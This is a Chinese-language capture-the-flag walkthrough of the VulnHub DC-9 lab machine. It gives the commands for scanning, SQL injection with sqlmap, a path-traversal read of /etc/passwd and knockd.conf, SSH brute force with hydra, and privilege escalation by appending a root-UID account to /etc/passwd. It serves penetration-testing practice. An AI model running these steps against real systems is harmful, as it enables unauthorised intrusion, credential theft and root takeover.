vulnhub系列:DC-9
一、信息收集
nmap扫描存活,根据mac地址寻找IP
nmap 192.168.23.0/24

nmap扫描IP 端口等信息
nmap 192.168.23.144 -p- -sV -Pn -O

访问80端口

dirsearch目录扫描
python3 dirsearch.py -u http://192.168.23.144/

页面查看,发现搜索框

发现登录框

sqlmap 工具跑一下,搜索框存在sql注入

库名

users下表名

UserDetails下字段

爆数据

登录框尝试,发现无法登录
爆一下另一个数据库Staff
表名

字段

数据

得到admin账号、密码,将密码进行md5解密
transorbital1

登录admin账户

发现多了一个add record功能
之后没什么发现,拼接一下目录扫描的文件,也没什么发现
看到页面中显示文件不存在,可能存在文件包含,尝试在当前url路径拼接
?file=../../../../..//etc/passwd

一些报告提到hnockd服务
敲门端口服务,该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来"敲门",使系统开启需要访问的服务端口,才能对外访问,不使用时,再使用自定义序列号来"关门",将端口关闭,不对外监听,进一步提升了服务和系统的安全性
默认配置文件
/etc/knockd.conf
通过文件包含查看其内容

根据文档,依次进行"敲门"
nmap 192.168.23.144 -p 7469
nmap 192.168.23.144 -p 8475
nmap 192.168.23.144 -p 9842

再次扫描端口发现ssh服务已开启

二、getshell
将之前sql注入时得到的账号写入user.txt文件,密码写入pass.txt文件,使用hydra工具进行爆破
hydra -L user.txt -P pass.txt 192.168.23.144 ssh
得到以下结果
chandlerb UrAG0D!
joeyt Passw0rd
janitor Ilovepeepee

依次进行ssh连接
账号1
ssh chandlerb@192.168.23.144
UrAG0D!
没东西

账号2
ssh joeyt@192.168.23.144
Passw0rd
也没东西

账号3
ssh janitor@192.168.23.144
Ilovepeepee
发现多了一个目录

进入目录查看,发现存在几个密码

将其写入到 pass.txt 中,再次爆破,得到一个新的账号密码
hydra -L user.txt -P pass.txt 192.168.23.144 ssh
fredf:B4-Tru3-001

三、提权
ssh 连接 fredf 用户,连接成功
ssh fredf@192.168.23.144

查看当前目录没什么发现,查看当前权限
sudo -l

看到 /opt/devstuff/dist/test/test 能以 root 权限执行,进入目录,test 文件查看是乱码,在 /opt/devstuff 下发现 test.py

查看文件内容

是一个脚本文件,生成一个用户,用root权限执行,将用户写入到 /etc/passwd 中
kali 执行命令
openssl passwd -1 -salt dc9 123456

回到 /opt/devstuff/dist/test/ 目录,将账号密码写入 /tmp/dc9,再执行 test,将其写入到 /etc/passwd
echo 'dc9:$1$dc9$3Qf9B8VT49B741CMh3R4m1:0:0::/root:/bin/bash' >> /tmp/dc9
sudo ./test /tmp/dc9 /etc/passwd

切换用户到 dc9,提权成功
su dc9
123456

在 root 目录下,发现 theflag.txt,结束
